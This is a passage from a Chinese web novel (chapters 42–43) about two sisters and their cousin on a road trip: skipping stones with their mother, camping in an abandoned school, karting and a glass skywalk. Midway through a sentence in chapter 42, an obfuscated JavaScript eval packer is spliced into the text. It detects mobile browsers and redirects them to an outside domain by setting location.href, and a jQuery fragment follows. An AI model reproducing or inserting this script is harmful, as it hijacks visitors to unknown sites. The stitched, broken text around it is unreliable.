故事中,黄栀子隐瞒了最主要的关键。她在意识模糊中,感觉有一条漂流的鱼在引领,她跟着往去,才发现那条鱼早就死了。她饥饿无比,啃完了那只死鱼,又撑了三天。三天中,她感觉自己也是一条裸露的鱼。长出了鳞片,用鳃生存,水面能将她稳稳托住,不管暗流多么汹涌。 鱼寻到空气,找到缝隙,终于活了下来。 这石头搭起来,是黄栀子庆祝新生。 42.第 42 章 江滩周围有些自建房,涨潮时撤去,这会儿又迁徙回来了。还热闹,总有搬东西的吼声。 母女俩坐在江边,浪潮拍着岸边。 映年和齐美裳下午聊了一会儿,主要是闲聊。聊收费口的改革、聊蝉市的地理变迁、聊这一路碰见的……很多很多。 “你是不是还怨我?” “没有过。” “我不信。” “爸爸也很好啊,就是我就这性子,做什么都很淡。”映年觉得可能谈不上怨,偶尔想起来空落落是有的,“昭岁跟着你更好,有时候她的情绪可能更需要照顾。” “你也需要照顾。” “我能把自己照顾好。” 父母离婚前,有件不大不小的事情。映年当时腿绑着石膏,杵着拐杖还是坐车去补习,她没想到昭岁放心不下跟了过来。到晚间回来时,映年到家,昭岁不在。一群人找了半宿,终于找到了公交车站旁睡着的昭岁。 大姥姥斥责,齐美裳就扮演红脸哄,相对应着的就是映年。这场架延绵到了姐妹二人之间,并且连着离婚,让映年耿耿于怀了很久,潜移默化影响到后来的选择。后来发现,连昭岁也在忏悔——可能自那晚之后,她的雷达开发,识得天下的路。 “你们分开是彼此的决定,在一起也是彼此的决定,当然优先自己的选择。”映年说。 “也没有谁的错啊,你很爱我,爸爸也很爱我。”映年表达时理智多过了私人情绪,但是必须讲,“你们又复合,挺让我生气的……” “为什么生气?”齐美裳问。 “没有为什么。”映年握着石子,打了两个水漂,她向来不会这些玩闹,重新坐下时,她看着齐美裳还定定盯着水面,于是补充说,“不关烟姨的事情。” “……昭岁说她不想结婚。”齐美裳说。 映年摸着兜里有两颗找零的棒棒糖,她递了一个给齐美裳。齐美裳接过,放在兜里,没吃。映年把手里的撕开包装递给齐美裳:“那吃这个。” “我不吃。”齐美裳说。 “都打开了。”映年说。 “我戒糖了。” 映年举着的手顿了。她有点恍惚,上一秒还在质疑齐美裳想把糖留给昭岁。 “什么时候?”映年问。 “三姥姥体检的时候,我带大姥姥去了,俩人都有糖尿病。”齐美裳说。 “这和吃糖关系没那么大吧。”映年说着,举着的棒棒糖没收回,又觉得没天理,好像是硬要夹在碗里的菜一样,于是她塞在了自己的嘴里。 映年又捡起来石头要飞出去,这次水漂没打上来。齐美裳来了兴趣,突然教她怎么选石子才能打出水漂,选择薄一点,要勾着屁股,要腰弯下来,中指和食指夹着石头,确保石头和水平面平行。 手头的石头打过去,果然漂了好多个,多到远得看不清跳了多少下。 映年学着打出去,也打了五个。 母女俩勾着屁股在找石头,专找瓦片。不知道江滩上怎么会有碎瓦片。 映年突然说:“控糖可以吃一些粗粮。” “那等把家里的米吃完了买。”齐美裳叹了口气,过了会儿,“昭岁为什么不告诉我呢。”飞了两个石头,她又道:“你爸做饭更好吃了。”再一会儿,再说,“你刘叔叔的也很好吃。” 映年飞出一个石头,又漂了好远。她问:“你想打网球吗?” 齐美裳说:“怎么了?” “给你报个班,光忌口没用,得运动。” “……你当不当老师都可以的。” “我在说网球呢。” “我以前一直以为你想当老师。” “你以为的没错,我也这么以为的。”江潮还是浑浊的,石子落下去,看不到踪迹,“我之前去报过网球课,老师教的不错,你要是平时练习无聊,可以和朋友一块去。” 这话出来,齐美裳的眼泪唰唰流下来了。 映年说:“本来也没考上。” 齐美裳的哭泣还是没有停止。 在此之前,齐美裳是不相信自己是会因此流泪的。 面前的映年淡然模样,让她感觉被漫天风沙包裹着。她愧疚之中,回忆起二十多年前在铁路上“叮叮当当”的日子,那会儿她是不是也是这样呢? 回来时,齐美裳也对母亲言说那些话。那会儿,她还夹杂着忿忿不平,在想为什么不是美棠不来,却故意说得云淡风轻,好让母亲愧疚。 齐美裳不知道此时此刻的映年在想什么,是何种动机。她远没有映年那般纯粹,“戒糖”的惩罚,更加世俗,也更加低迷。除了那条早就剪断的脐带,似乎母女之间没有太多心灵相通。 她希望映年是真的放下了,又希望映年没有放下,无论如何,她都能承受。 ——不,她还是太浅薄。或许这个假设,对于映年来说,并不成立。 她还没那么了解映年。 此时映年又飞了一个瓦片出去,水漂好远,打到了天际。 “我牛啊我!”映年惊呼,转头问齐美裳,“厉害不?” “厉害。”齐美裳说。 映年很严肃,对齐美裳轻描淡写的回答很不满意,她说:“难道不厉害吗?我现学现卖,能打这么好!” 齐美裳见着,突然笑了:“你最厉害了。” 映年满意,又打了一个,转头问:“牛不牛?” 齐美裳说:“牛。” 映年再次拿起瓦片,每打一个,都要齐美裳的夸奖。 _ 另一边,黄栀子已经走了,留下来一组高不可攀的石头山。 咚咚在和昭岁比堆石头。 她们在商量晚上夜宿的事情,昭岁说随便找停车场就行,咚咚说有地儿了,去废旧小学。 “啊,你不怕?”昭岁问。 “你怕?”咚咚说。 “我怕。”昭岁说着,“嘿嘿”笑了两声,“不知道我姐怕不怕。” 咚咚笑,放下了一颗石子,又去捡新的。 “你给你爸说没?”咚咚问。 “说什么?”昭岁明知故问。 “你说说什么。”咚咚说。 “我不知道。”昭岁低头。 “你给大霜说没?”咚咚又问。 “……没有。”昭岁说。 咚咚站起来,去看一眼在远处给陪大姥姥聊天的祁孝逑,转头正色对着昭岁:“我觉得你最好给你爸说一下。” 昭岁沉默了一会儿,说:“他知道。” 临时确定了去骡县,怎么可能看不出来她的用意。 咚咚说:“那你也得说清楚。” “你和三姨聊得怎么样?” “没聊。” “没聊?” “没聊。” “你原谅了?” “我不会宽恕的,她也不需要。”咚咚弯下腰继续捡石头,看着形状的联想,笑起来,“是接受吧,到二十岁这年,我必须去接受父母并不爱我了。” “也好,我才不要谁当我的救世主。” 咚咚再次放下一个新的石头,高度终于超过了黄栀子余留的那处。她掏出一个刻着名字的玉石,放在了上面。 _ 齐家是晚上的飞机,大姥姥的意思是再给三人续一晚上房,被拒绝了。临到要走前,齐美裳在民宿收拾行李,祁孝逑开车去拜归还手续了。 昭岁坐在祁孝逑的副驾驶上。 上一次也是在车上,不过对比上次讨论报考情况,这次尘埃落定了。父女俩对这话题不感兴趣。 二人把蝉市的炸蝉当作零食,一口一个在吃,耳边只有嘴里“咔嚓咔嚓”的声音,偶尔是说口味如何,多炸了一会儿就不好吃了。吃着吃着,话题转到了做饭、旅游特产、酒店情况等等,谁也没聊未来了。 还车完毕,二人转地铁回去。 正好是晚高峰,没有位置,二人只能抓着地铁中间的栏杆。 “这离机场近,你直接过去也行。”昭岁说。 “行李箱不能让你妈一人拿。”祁孝逑说。 没话了。 昭岁也没玩手机,略过祁孝逑的肩头看向窗外,又去看了一下车厢号。她说:“我们往车头走,看看前面的路。” 于是出发,往前走。越走越发现,前车厢比后车厢空好多,座位好多,父女俩却没有停下来。 继续走着。 终于到了地铁的第一个车厢,驾驶室被雾玻璃笼起来,看不清里面。 昭岁有点遗憾,站在一旁的残障固定位置,望向窗外,直面和侧面的行进观感,始终不一样的。 祁孝逑说:“我们等一下班看看。” 昭岁说:“下一班?” 祁孝逑说:“有时候会没贴。” 昭岁说:“算了。” 地铁很快到了本次终点站,二人还是下车了。再次上车,人挤了很多,果然没贴。拥在那处拍照的多是小孩,挤在一块,昭岁压根挤不进去。 不过她挺开心的。 父女俩只能站在一角,人挤,凑得稍微近了些。 “我报名了申请志愿者服务。”昭岁说,“我挺喜欢环保活动的,有空就去做。” 祁孝逑点头。 昭岁问:“那姐姐为什么吃素?” 祁孝逑说:“有一次同学会,她参加结束后,回来三天不吃不喝的,那之后,就开始吃素了。” 昭岁说:“你没问吗?” 祁孝逑说:“我问了。她是问就会说的吗?” 昭岁说:“我觉得吃素没什么不好的。” 祁孝逑说:“映年一直没什么玩伴,一人行居多,后来和以歌熟悉点,能玩在一块。你不要介意。” 昭岁笑,她不确定自己这个笑是否勉强,她说:“我介意什么?” 过了会儿,祁孝逑说:“我不希望是我们影响了你的择偶。” 这算什么?脱罪吗……还是真的愧疚难当。 昭岁想起齐美裳说得“自己决定”,心情奇妙,难安又满足。她说:“我学机器人,也没想去改变人类未来的生活方式,做什么智能的东西,我是那会儿在看科幻动漫,觉得能够可以去更了解一点。” 见祁孝逑没说话,昭岁继续说:“我是一个没什么责任感的人,不会想着一定要去做丰功伟绩。事实上,我也做不到。当兵更像是一种勇气吧,告诉自己,要勇气。” 祁孝逑说:“你很勇敢了。” 昭岁摇头:“不,我只能在妈妈、在你面前摆脸色,耀武扬威,这不好。很不好。” 祁孝逑盯着昭岁,突然笑了,他举起手想摸她的头,又把手放在她的肩膀上拍了拍。 “是,总觉得留你在身边,总归是更好,怕被欺负。”祁孝逑实际对映年吃素一事同样很歉疚,连带着谨小慎微起来,可如果这不是昭岁想要的,那也只有放手。 这话,和齐美裳的差不多。 昭岁憋了一路的话,反而说出口了:“下一站,我想去看……刘海洋。”卡了一下,她还是没在祁孝逑面前,叫刘海洋“爸”。 祁孝逑还在笑,舒展开,他说:“我还以为什么呢……非得跟过来。” 昭岁低头,握着栏杆,她抓着衣服的线头,后知后觉是祁孝逑的。没收回手。 “没关系的,昭岁,我不会觉得有什么的,你也不要多想。”祁孝逑说,“老刘很好,对你们也很好,我很感激。” 昭岁感觉鼻头很酸,她就是这么不争气地要掉眼泪了。 “映年说你讨厌摇滚。”昭岁说。 “那是不理解搞音乐。”祁孝逑说,“太吵了。” “你懂什么。”昭岁哽咽。 _ 学校的后门是敞开着的,锁还悬吊吊挂在铁门上。 映年对安全划分一事很纳闷,不该没有巡逻的人员,可是教室里面的书桌还整齐的摆放着,没什么遗失的情况。 咚咚司空见惯:“正常,里面有球场啊,估计谁撬开进来了的,打打球之类的多。桌椅就不行,这要售卖渠道的,卖给废品不值钱的。” 教学楼的大门还锁着。一扇扇是玻璃墙,已经碎了一片,门还锁着,就是关着的。 昭岁探了个脑袋进去,映年不愿意进去,被咚咚硬拉着进去了。 “你装,晚上不也得进来上厕所?”咚咚说。 “没水啊。”昭岁说。 “好问题。”咚咚被难住了。 映年跟着俩人一块爬楼,上了天台。这小学不大,只有一个操场,从天台望下去,果然有人在打球。 操场已经废弃很久了。风雨后,塑胶皮起来,下雨时形成一片洼地。篮球框上没网,就光秃秃的一个框,球装上去,嗡嗡在晃,视线再往下去,嵌在水泥地上的篮球柱已经锈了。 打球的是两个老大爷,身高不高,穿着篮球服篮球鞋,圆润的肚子遮不住,精力却挺好,跑来跑去的运球。 “多危险,公园也有球场。”映年说。 “有啥危险的,他们这水平也扣不了篮。”咚咚说。 这话像是戳中了昭岁的笑点一样,捧着肚子笑起来了。 到天暗下来,操场上的大爷离开了。 她们没在天台搭帐篷,找了教学楼走廊的公区,这一片上面是凸出来的观景台,下面挡住做了一个圆形的书架,中间是供人阅读的位置。 书已经被潜入此地的人们翻得到处都是,夹子里没余留几本。很明智的是,书架使用砖头水泥砌起来的,不会发霉,只是角落有青苔,铲铲就行。不过用料意义已经不重要的了。 这样想,锈掉的篮球架也没关系。兴许物尽其用也很好。 她们就在书架包围的中心扎了帐篷。 夜风穿堂而过,竟有些凉意。 学校的衰败气息浓重,灰尘四处飘扬。这一带的建筑,和昭岁的小学很像,尤其是使用一样的花白地砖,好像稍微掉个橡皮在地上,就找不到了。她就是那块混在其中的橡皮,在莘莘学子中毫不起眼。 昭岁说:“我还是睡这么大的房子。” 咚咚说:“那你当兵睡的地盘更大。” 昭岁说:“想看鬼片吗?” 三人真找起鬼片来,要符合校园题材,点开看简介,全是些爱情或友情相关的恩怨,无一例外的就是女鬼复仇。 “比你更恪守的人在鬼片行业从事工作。”咚咚对着映年说。 昭岁望着映年,想起了祁孝逑说的“同学会”,她下午已经脑补了一波,虽然确定映年不是会忍让的性格,可她担心:“还好你没有。” 映年:“……”这俩人。 她们还是翻翻找到了一个外国的恐怖片,怪谈一类,主要讲考试和学生的恐怖故事。靠看的时候,咚咚特意架着相机,拍三人的反应表情。实际上手机屏幕很小,昭岁的最大,三人要稍稍靠的近一点才能看清楚。 映年感觉有人在摸她的手。 她知道是昭岁在作怪,收回手不管。没多久,又来了。这次她斥:“安静看。” “不是我。”昭岁还不承认。 过了会儿,又来了。 映年再次警告:“安静看。” “真不是我!”昭岁转头望向咚咚,“你?” 二人自证站了起来。 映年还感觉到有东西在摸她。 她回头看防水袋的拱起,发出了一声尖叫,几乎同时,那东西窜一下跑远了。 “猫还是老鼠?”昭岁问。 “猫吧?有这么大的老鼠吗?”映年正在收帐篷,在她的强烈要求下,要离开这里搭棚,“我不是多怕,只是刚才突然吓了一跳。” “老鼠也有这么大的。”咚咚说。 “我真不怕。”映年觉得证明是一个可笑的事情,这会却很急迫,“我怕虫我都承认,老鼠有什么不好承认的。” “没事没事。”昭岁安慰。 映年:“……”服了。 大张旗鼓地转移下来,到门口时,三人看清了那东西,就是一只黑猫。 咚咚把帐篷放在操场上,从背包里拿着火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246818|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿肠折回门口,要开口子喂给它。 昭岁和映年还在重新固定帐篷。 在学校的场合,昭岁聊起葬礼和考试的事情。 映年:“我没觉得有什么问题。” 昭岁:“那场考试也不是高考。” 映年:“那葬礼不是最后一面。” 昭岁抱胸看她,觉得很不可置信:“你觉得这种教育对吗?” “没有对还是不对,只有做不做的。”映年说着,让昭岁搭把手盖顶棚,“那你去了没?” “没去!”昭岁说。 “噢,还是去了。”映年说。 “我没去!” 映年笑一声。 昭岁还是去了模拟考,不是觉得多么重要。她是觉得,不能让齐美裳找到把柄,如果高考没考好,齐美裳极有可能反复提及那次缺席的考试,闹得不安宁。 那会儿的压力,现在看上去很古怪。 “不过我也不喜欢那种生着大病学习的例子。”映年说。 “我挺喜欢的。”咚咚喂猫完猫回来,加入了聊天,“感动自己比学到东西更重要。” 映年:“那不是自欺欺人?考试就暴露了。” 昭岁想起自己供奉的“速成大法”:“不靠甜枣,咋能学下去?” 咚咚转头问映年:“你觉得自己能当好老师吗?” 映年卡住了一下,这一瞬间她想起咚咚关于五角星的评价,问:“什么是好老师?” 咚咚说:“我觉得好学生当好老师的几率不高。” 昭岁这会成了看得开的那位:“教书好就行了。” 三人没再讨论下去。 晚上睡觉前,咚咚宣布了一件事情:“明天我去看车展。” 昭岁说:“可以。” 咚咚说:“我一个人去。” 昭岁说:“行,我们找个地方玩,到时候汇合。” “不,不用汇合。”这次连映年的目光也过来了,咚咚继续说,“我去买车,我不打算回去了。” “什么意思?”昭岁问。 “你哪来的钱?”映年问。 “房车不够,汽车够了。”咚咚说。 “不开店了吗?” “不开了。”咚咚说,“玩够了再来开。” 映年和昭岁没对咚咚的离队原因没多问,也不清楚未能联系的几天咚咚到底和齐美玉发生了什么。咚咚不说,那就不问。 只是—— 映年还是反对的那个,暂时反对:“不行,我订了卡丁车游玩,你明天玩了再去。” 咚咚很诧异:“哟。” 昭岁惊喜:“呀!那就玩了再说呗。” 咚咚说:“咋有这安排了,难得啊。” 映年转头瞥向昭岁:“帮她练习弯道。” 昭岁受不了:“你最好别这么损。” 卡丁车场地很大,建在城郊。 她们来得早,人很多,同样需要排队。好在没排多久,不同的出发赛道上,昭岁发现三人的船尾号竟然对应的就是彼此的年龄“18”、“20”、“22”。 昭岁说:“我们的年龄是等差。” 咚咚说:“数学很好啊你。” 昭岁想说的是:也就两年,这么近,又卡在这种微妙的时间节点,迫切地需要在两个两年中划出一个明晰的未来。这太奇怪了。 咚咚问:“这和滑板有什么区别?” 映年说:“滑板不用交保险,感觉这个更危险。” 昭岁说:“我发现你的幽默与日俱增。” 带上安全帽坐上车,先后启动卡丁车。 油门踩下去,车速越来越快,越来越快。方向盘转动,压弯时轮胎摩擦路面,很像是开水壶的叫声,明明周围是一股浓烈的汽油味。 咚咚的车一直奔在前面,手很酸,更多的是爽,她握着方向盘,知道是车在抖,她也在抖。 这是可以把控的刺激感。 咚咚很兴奋。 弯道并不复杂,回环了几个大圈,就是重复跑圈。 昭岁跟在咚咚后面,油门也往下踩。这和考驾照完全不一样好,周围踩到什么线,也不会有烦人的播报。她从前玩过,还不少。刘海洋带着母女二人一块去的。那会儿,跑得最快的是齐美裳。 明明讨厌危险项目的齐美裳。是因为买了保险吗?也不一定,齐美裳还能拿着网球拍冲锋呢。 一轮下来,脚酸手酸,三人坐在椅子上休息。 咚咚说:“就差丢道具了。” 昭岁在笑,摊在椅子上狂笑,说:“我们玩的竞速版。” 映年想起了出门前玩的赛车游戏,没说话。 _ 车展上,人来人往。 咚咚加了上次销售的微信,前几日联系上了,就在车展上能成交。 还是上次看好的那款车。 提车后,又去了趟商场,咚咚买了电脑和无人机。比试玩的时候平静许多,好像多年来的奋斗终于松了。 她不会回去守着炉子等水烧开,不停地搅拌悬浊液,然后再搬着一大桶水上上下下。车里有空调,这是最需要的,顶着骄阳,哪怕对防晒一事完全无所谓,可总归是很热的。 更无心关心“孝顺”一词。 车号随机摇的,咚咚对此并不在意,要上牌,需要留在蝉市两天。她再次登上了怀山,还是凌晨,天雾朦朦的。 怀寺伫立眼前。她走进去,一坛坛荷花已经从中间摆到了墙边,随缆车而上的木佛还在角落,没有继续雕琢,一旁的围着请勿靠近的告示。 她想起映年说着梅雨发潮的木料,望向那一片片红色的许愿牌,也是木头做的。 花钱买了两个牌子,一个写:“祝愿一路顺风”,另一个写:“祝愿王记和理发师平安健康”。她伸手挂在很高的树枝上,没挂稳,掉下来了,她学着身旁人的姿势作揖,又挂上去,这次挂好了。 咪咪握在树边,在咚咚的脚边蹭来蹭去,她蹲下来,摸着脑袋。她说:“你上次跑了,火腿肠给别人吃了。” 她还是不客气地把咪咪揉来揉去,但也没有下山去买彩票的念头。手感着实不错的喵! 这次上来,她是没想找齐美玉的。 偏偏碰上了齐美玉。 齐美玉靠在池塘边的栏杆上,手头拿着个盆,里面是些馒头碎屑,她抓把撒下去。衣服已经换成了灰蓝色的袍子,咚咚不知道该叫什么,她不会自以为是的觉得齐美玉热了。 她的目光还是落在齐美玉的耳垂上。 这对饱受摧残的耳垂啊,已经好了,那会不会过些年头,越长越大呢?会吧。 对视之时,齐美玉把盆里的碎屑悉数撒了下去。准头不过,有些落在了荷花荷叶上,鱼头蹦来在吞。 二人在殿前的竹椅上休息。 “后头我回电话,你没接。”齐美玉说,“有什么事吗?” “三姥姥打的,你有事可以回她。”咚咚回得模棱两可。 “我换号了。”齐美玉说,“前天换的。” 咚咚点头,没说话。 坐了会儿,有人叫齐美玉,叫的是法号。 温温柔柔的法号。咚咚心里觉得,没有美玉好听。美玉很好听的。 两人一起站起来。 咚咚双手作揖,当此告别。 咚咚往山上去,想下山的时候坐缆车。这会儿的还没开,她就坐在等候区。 那日特意在山中没等到的日出,今日总算瞧见。 云开雾散,霞光随风轻摇,漾在天际。远处江滩的佛像上,挂着飞行着的工人,似乎那声声敲打如在耳边,更重的是腥味,带着潮气的腥味,又很新鲜。 咚咚摸了摸头,突然念想是明白了体操的那个姿势不太对,不是她和三姥姥的错,视频没有讲明白,应该先动哪个骨头。 咚咚抬起左脚放在膝间,那一处还有一条没康复的伤口,已经不痛了,她单脚站立着,双手放宽,终于平衡了。 她看着自己的影子,像是一根天线。 43.第 43 章 整理行李时,昭岁才意识到大事不妙。 往常帐篷都是咚咚在背,睡袋和防潮垫均分给映年和昭岁。咚咚不在了,帐篷留给姐妹俩,睡袋舍掉一个,可要多加一个帐篷,背包空间极速变小。这也让昭岁意识到,咚咚的东西真的很少。又要装摄影设备,又装帐篷,换洗衣服的空间留下不多。 “帐篷不就是一个包吗?就这样呗。”映年说,“轮流背就行。” 昭岁不行:“装进去才舒服。” 映年无语:“叫你别买这么多观光品。” 除了送了些给齐美玉,昭岁还余留了很多。映年说这话时酸溜溜的,她几乎已经预见了,昭岁会送给大霜。 映年的包没她们的大,早先邮寄油桂的时候,就把一些衣服邮寄回去了,还有双鞋也一并寄走了。咚咚临走前,和映年换了个包,空间富足了些,可还是塞不下。 昭岁看着满满撑起的包,似乎妥协了:“不塞了,就放外面吧。” 她有了新打算。 有惶恐,更多是兴奋。 _ 路线按照从前的计划在走,早上出门时看到酒店的广告,有山谷的漂流。昭岁临时起意想去玩,映年奉陪。 这和那场没必要去考的六级考试很像。 昭岁还在想怎么给大霜说明情况,每天能翻八百遍大霜的朋友圈,如果不是软件没有浏览记录,估计早就将这个行为记录在案了。 没先找到大霜,以歌的联系先她一步了,发了微信。 以歌:映年给你说了模型没?你看喜不喜欢,我都是猜的,要是不喜欢,你可以挑一个。 以歌发来一张模型的图片。 昭岁:我很喜欢。 昭岁:可坦白讲,我很不好意思,很不安心。但是我很喜欢,很想收下,可收下会不安心,但不收下也不安心。 以歌:我给你带来困扰了? 昭岁:绝不是!是我自找烦恼。 以歌没回她,昭岁本来把手机已经搁下来了,没想到对方打来了个视频通话。 那头的人在排练室,后方有一墙的乐器,说话时还有弦在拨动。昭岁看着她亮眼的紫色头发,鼻子和眉骨间有闪亮的钉子,这正面的形象,比从前在匆匆一瞥更具有冲击力。 以歌问:“车上呢?” 昭岁把镜头转了方向,对着座位上睡觉的映年,又转回来,她勾着栏杆站在一旁。 以歌问:“你不想要吗?” 昭岁说:“想要。” 以歌说:“想要就拿着。” 昭岁说:“我不太安心。” 以歌说:“怎么说?说说。” 这要怎么说?当着以歌的面儿,昭岁说不出来。 以歌说:“因为我俩不够亲近是吗?” 昭岁没说话,是默认了。 以歌说:“这样吧,下个月我要回国,我俩亲近亲近再说。” 昭岁被她的轻巧说懵了。她问:“那你有什么喜欢的?” “你这小孩。”以歌被她的较真逗笑了,“必须吗?” 昭岁说:“至少现在是。” 面对昭岁的诚实,以歌也没什么不好意思,直接说:“真以为我妈就给你五千?” 昭岁问:“什么意思?” “她让我转,我是中间商拿了一笔,用来买乐队补给。那些都是给你的。”以歌坦诚,对这行为没啥心虚感,“所以,那就当时你给我的吧。” 昭岁分不清她话里的真假:“那本来就是你们的钱。” 以歌说:“我本来一点都不想给你的。” 昭岁沉默了。 “模型也是我妈发现,让我补给你的。”以歌说着,觉得举着手机累,找了个椅子坐下,把手机放在纸巾盒边立起来,她盯着呆呆的昭岁,继续说,“仙儿说没看见你,怎么不去?” 屏幕里的脸隔远了些,后头的背景露出来,是搭的一个小型舞台,真有人在上面练习。 以歌的话不客气,昭岁却感觉柔和。 昭岁回答:“关系网曲折,当时不太清楚该怎么相处……现在也没完全明白。” 以歌笑得更灿烂了:“心理活动这么丰富?” 昭岁“嗯”一声。 以歌说:“这样吧,我约了个纹身,下个月纹,你替我付款。” 昭岁点头。 以歌说:“行,安心点没?” 昭岁说:“还没有。” 以歌说:“那要多久?” 昭岁说:“……又不是定时装置。” 以歌说:“行,有问题找我,映年解决不了的问题,我可以。” 昭岁顿了一下,叫了一声“以歌姐”,对方停下,问她还有什么事。 昭岁问:“沈烟阿姨回来吗?” 以歌说:“不确定,我要是进决赛,她可能回来吧。” 昭岁说:“那她有什么喜欢的吗?” 以歌笑了:“这下你又不担心你妈妈多想了?” 昭岁对父母爱情的态度,很朦胧。但她此刻很肯定地说:“我妈妈不会多想。” 昭岁甚至觉得,比起齐美裳,祁孝逑更不自在点。不过这不是祁孝逑的错,他与沈烟曾有过一段爱情,相爱过再怎么勉强豁达,可能也稍稍局促。当然,这是她揣测,毕竟祁孝逑在听到她“偷听”摇滚时,未说只言片语。 这也让昭岁认清一件事情:很多时候,她把感情狭窄的局限在“爱情”的范畴,造就了在这家庭枢纽中的拧巴感。 此时此刻,她竟舒展了。 以歌说:“行,真闯进决赛了,再通知你。” _ 峡谷历险和漂流是套票。昭岁能凭高考身份打半价,映年只能全款购买。 说是历险,实际就是在山谷上布置一些试胆的装置。昭岁的体感是不如爬山累,很像是动物的丰荣玩具,更多是新鲜感。尤其把这个当作第一视角游戏的话,那更有趣,如果终点有评级的,她一定更有干劲。 映年走得稍微慢些,这和鞋子有关系。她还是穿的皮靴,她就剩带着的皮靴了。出发那阵子,脚磨成泡都在行进,这会儿好像真实驯服了这双靴子,完全无所谓了。 昭岁担心映年的体能,走在她后面,以防二人距离拉得太大。 到峡谷深处,要么走玻璃栈桥过去,要么坐高空索道,只能二选一。 昭岁说:“我都想试试。” 映年说:“那就都试试,先坐索道过去,走回来,再坐索道过去。” 昭岁看她,突然笑了。祁孝逑估计也会这样说。 高空索道的设备是一个藤椅,用三根安全绳把人系好,再启动出发。这和卡丁车的掌控感不同,更多是惯性下坠。 两条索道,藤椅飘移在空中。 昭岁侧头看一眼映年,突然大声叫:“映年!” 有回声。 映年转头看她。 昭岁继续叫:“映年!” 映年笑了也吼一声:“昭岁!” 风呼啸而过,声音也落下后面,却又在前面回转出现。 她们低头看着一层层绿树,绿油油盎然,好像落入其中。人变得纤细单薄,风的律动让树木的生机和山峦的呼吸近在咫尺。 结束后,昭岁和映年折返到玻璃栈道。 全透明是栈道也是观景台,下面是百米的距离,明明还和刚才一样,昭岁站在其上,却有种颤栗感。昭岁在玩积木的日子明了了很多建筑的故事,同样清楚栈道的安全性。她清楚这悬浮的玻璃有多厚,可能三百个她头没法撼动,可当有小孩在一旁跳动时,她只能扒着一旁的栏杆无法行动。 昭岁清楚,但无法确信,脚下的安全。 正午的阳光直愣愣的射下来,玻璃有清晰的反光的效果,盯久了,有种过曝的苍白感,踩着上面,有一瞬间恍惚是到了另一个次元。昭岁生出了恐慌。 出发后,三人约定就不要走回头路了。玻璃栈道是娱乐体验,也是回头路。 昭岁走了五米,终于停下来,坐在栈道上。映年蹲下来在看她。她清楚,映年踩着就是踩着,不会像她一样。 昭岁不太确定这是不是恐高,毕竟在藤椅上,她没有这种感受。昭岁也不在乎会不会掉下去,更多在于安全感吧,或者被动与主动。 这让昭岁想起了一件风马牛不相及的事情,是一则游戏。她沉浸在剧情之中,出现了三个选项,是否救援“杰克先生”,答案有三个:“是”、“否”、“等会儿”。当时主角是第一次见“杰克先生”,任务提醒角色选择至关重要。 昭岁第一次选择的“是”,但在后续的剧情中,杰克先生因为她的不正确救治而死亡了。她受不住,那一片没存档点,重新开始建档去玩,看完重复的剧情,到了那个选项点的。第二次选择了“等会儿再说”,杰克先生拖延不治死亡了。最后一次,选择了“否”,杰克先生得到了治疗,因为怀恨主角的见死不救,后续剧情将毒杀主角。昭岁直接删档弃游了。 游戏翻攻略,说是最佳选项就是第二项,能够让剧情完美通关。第一项后期有个任务点也会卡住,只能通关,没有完美成就。当时这个剧情一直被诟病吐槽,制作组坚持没有改变,今年我一看评价,口碑反转,说是神作。 她说起这件事,问映年:“你会选什么?” 映年说:“我不玩游戏。” 昭岁说:“第一次他死了,我是觉得他死了影响游戏通关,还没继续完就重新开档。第二次他死了,我才觉得自己特别难受。一是难受第一次居然这么想,二是难受我居然杀了他两次。” “第二次我就受不了了,那段时候感觉罪孽深重。我清楚那是游戏,清楚那只是数据,清楚那是创作者的把戏,但是就是无可避免的难受。更难受的是,我首要难受的不是他的死,是难受我居然不是难受他的死。” “我说这些是不是你听着很绕,可就是这样。我本来不想再玩了,推送给我的攻略,我又不自主的去看。啊,受不了。第三次再玩到那,我终于点了‘否’,这不是我的本心,可是那一刻我真解脱了。为什么?不是说救不救这件事情,是后来的剧情我知道他会反杀,这让感觉好像赎罪了一番。” 有路人发现了昭岁,路过时总是看上两眼。映年侧身,把昭岁遮住。 映年说:“都说了第一次见面,在没了解后来的故事时,哪个选项都算不上错的。很多时候,惋惜的是假设后面的故事,觉得是自己浪费了。这个游戏就是这样啊,是后续的任务线,让他变得很重要而已。” “而且,如果按照游戏的思路来说,或许是不是杰克先生不值得被救呢?他凭什么要反杀呢?陌生人救不救,难道不是一念之间的吗?” 昭岁说:“不,他是杰克还是汤姆不重要,我就不该玩第二次。我就是只认可‘是’的选项,‘等会儿’是我想玩游戏,不是想救他。‘否’才是赎罪,哪怕是游戏无法通关。” “我不是不能接受这份死亡的,是我自己主导的,这是我难受的。想明白这点时,我认为自己极度虚伪,之前的所有伪装善念都被卸下来了。” “我到现在都在扮演,扮演假惺惺的自己,其实我想的可坏了,又要装作自己是个好人。而且一点也不能抗责任,总是责怪别人,实际上我才是那个懦弱的人。” 昭岁把一些不能怪的、不能言说、不能忏悔的心情,全都放在了杰克先生身上。她只为杰克先生忏悔。她只能为杰克先生忏悔。 实际上,昭岁觉得还不够,但她没勇气去直面,不敢去直面。她允许藤椅飞行到达目的地,她允许剧情顺理成章的让杰克先生死亡,而不是她要踩在悬浮的玻璃上,不是一定要她做出选项。 昭岁还在哭,她视线反而清明些。透着玻璃往下看去,竟然发现丛林的公路旁边,有一户人间正在加盖房子。 只有两个工人在劳作。 一人用滑轮把砖从一楼吊上去天台,一人砂浆水泥摆在天台的空地上,拿着铁铲正在和弄。到砖头抵达天台时,那人才放下铁铲,去卸货砖头。 那是自建房,退潮后江滩旁的人们也在修复。 这不是积木搭成的娱乐,每一块砖都贴的严丝合缝,不存在一块抽离后,全部崩塌的危机。 她不免去想,玻璃栈道是怎么修出来的,这些玻璃材料这么大,要怎么搬上来。没有公路,全靠人工一点一点盘。这份不安的质疑,太不近人情了,对不起那些建筑工人们。 很快,昭岁被自己这份遐想逗笑了。 过了会儿,她说:“你真好,不嫌我在这哭,丢人。” 